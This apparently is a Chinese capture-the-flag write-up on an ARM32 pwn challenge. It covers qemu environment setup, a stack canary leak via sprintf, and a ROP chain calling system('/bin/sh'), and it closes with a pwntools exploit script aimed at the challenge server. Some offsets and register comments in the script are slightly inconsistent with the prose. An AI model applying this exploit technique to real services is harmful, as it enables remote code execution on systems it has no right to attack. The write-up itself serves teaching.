arm32-pwn从环境搭建到实战
关于arm的pwn还是比较令人头疼的,首先汇编比较难看懂,其次就是ida反编译出来的东西还会有错误,比如之后要讲的题目中栈的分布就和ida解析出来的完全不一样。那么先来看一看环境的搭建。之前有人发过完整的64的环境搭建,32的环境搭建和实战还是有一些不同的
环境搭建
环境的搭建应该是现在arm题目中比较麻烦的一个点。
安装qemu
apt-get install qemu
然后可以查看其有哪些指令qemu-[tab][tab],其中有一个qemu-arm
这个就是我们运行32的指令。
依赖库安装
依赖库一般可以利用apt-get来进行一个安装,这里我们需要装的库是
sudo apt-get install -y gcc-arm-linux-gnueabi
在安装这个的时候会有一个错误就是很多其他的依赖库没有安装,这个时候sudo apt-get -f install
就会自动进行安装,然后再执行上面的语句就可以成功的安装了。
这样整个环境就基本是安装好了
实例分析(xman2018冬令营入营题)
题目本身不难,但是很有借鉴意义和之前上海大学生的比赛结合起来刚好就是一个arm32和arm64非常完整的教程了。
保护查看
[*] '/media/psf/Home/Downloads/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
开了canary,这个保护本身是比较麻烦的了
静态分析
主函数分析
一个主函数我改了一下函数名,原来是去符号的。很明显的有一个栈溢出,然后一个sprintf可以进行一个canary的泄漏,这里的思路还是很清晰的。
string分析
这里有几个比较敏感的函数字符串,所以这个题目如果放在linux里我估计大家分分钟秒了,但是这里就有些麻烦了,基本思路是rop了,因为arm也是传递参数的。
栈分布分析
这个栈分布其实是很难去泄漏出canary的但是我在运行程序的时候试试了进行输入0x14*'a'发现好像栈并不是那样的能泄漏出一些东西
动态分析
运行环境
arm主要是进行一个动态的分析,因为静态下很容易不准确,所以这里记录下动态分析一些指令
qemu-arm -L /usr/arm-linux-gnueabi ./pwn
这是运行程序,-L是依赖库
socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr
在10002端口运行我们的arm程序进行一个交互,其中关于gdb如何attach上的这里就不多说了,在上一位写arm64的师傅那写的很详细
canary查看
上面的静态分析可以看出来canary应该是在我们输入0x14的时候泄漏出来的,所以这里试试0x14因为ida中stack看不出canary在什么位置,而且栈里面也看不出来,这里就直接断点在cmp,可以看见我们的canary就在我们输入的后面。
这样canary基本就已经成功的leak出来了。
padding确认
这里我是一个一个试试出来的,一个是ebp的值一个是ret的值,我们就在ret的位置填充一个rop
arm32的参数调用
调用规则是从r0 -> r3 其他的通过栈进行传递,还是比较简单的
然后记录几个命令的用法。
bx == call
这是题目本身需要的一个rop中的指令
ROP搜寻
首先我们明确一下自己的思路
1、我们有system函数,所以最后肯定是回到system函数
2、我们有/bin/sh的字符串,这里我们需要把他转移到我们的r0寄存器
3、肯定只能利用ROP,因为他是传参的
没有目标的搜索都是无用功!
其实按照经验来说一般rop常用的就是mov和pop我们就截取出这些
思路解析:
一、先进行一个pop {r4,r5,r6,r7,sb,sl,pc}
二、然后pop {r3,pc}
三、mov r0,r7;bxr3
这样我们就可以成功的调用system函数然后getshell了。
exp
from pwn import *
#context.log_level = 'debug'
p = remote('39.105.216.229', 9991)
p.recvline()
p.send('a' * 18)
r = (p.recv())
canary = r[24:28]
p.recvuntil('Come On\n')
pop_r3_pc = 0x000104a8
pop_r4_r5_r6_r7 = 0x00010804
mov_r0_r7_call = 0x000107f4
payload = ""
payload += p32(pop_r4_r5_r6_r7)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(0x21044)
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(pop_r3_pc)
payload += p32(0x104fc)
payload += p32(mov_r0_r7_call)
pay = 'A' * 24 + (canary) + p32(0xdeadbeef) + payload
p.send(pay)
p.interactive()
总结
arm题目的本身都不难但是搭建环境总是让人烦恼不少,这次总结下了搭建到调试的过程基本就是
安装qemu -> 依赖库安装 ->程序的试运行 -> 程序的调试(这里利用socat进行本地环境搭建非常方便)->exp编写